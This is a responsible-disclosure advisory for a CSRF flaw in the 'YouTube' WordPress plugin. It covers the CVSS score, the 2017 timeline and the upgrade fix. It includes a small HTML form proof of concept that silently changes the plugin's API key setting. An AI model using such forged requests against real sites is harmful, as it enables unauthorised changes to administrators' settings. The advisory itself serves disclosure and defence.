Advisory:

CSRF in YouTube (WordPress plugin) could allow unauthenticated attacker to change any setting within the plugin

Vulnerability

Last revised:

The plugin contains a CSRF vulnerability which allows an attacker to change any setting in the plugin so long as they can cause a logged-in admin user to follow a link.

The impact of the CSRF vulnerability appears to be limited because it seems that the plugin is not vulnerable to XSS or anything else which could be used in conjunction with the CSRF vulnerability.

Current state: Fixed

CVSS Summary

CVSS base scores for this vulnerability
Score 4.3 Medium
Vector Network
Complexity Medium
Authentication None
Confidentiality None
Integrity Partial
Availability None
You can read more about CVSS base scores on Wikipedia or in the CVSS specification.

Proof of concept

Visit a page with the following content, and click submit:

<form method="POST" action="http://localhost/wp-admin/admin.php?page=youtube-my-preferences">
  <input type="text" name="ytprefs_submitted" value="Y">
  <input type="text" name="apikey" value="HELLO">
  <input type="submit">
</form>

The “YouTube API Key:” value will be set to “HELLO”.

In a real attack, forms can be auto-submitted.

Advisory timeline

  • 2017-06-12: Discovered
  • 2017-07-18: Reported to ext@embedplus.com
  • 2017-07-18: Requested CVE
  • 2017-07-18: First response from vendor, promises a new version
  • 2017-07-19: New version released (changelog says “Make settings form more secure”)
  • 2017-07-25: Advisory published
  • 2017-08-23: Received CVE

Mitigation/further actions

Upgrade to version 11.8.2 or later.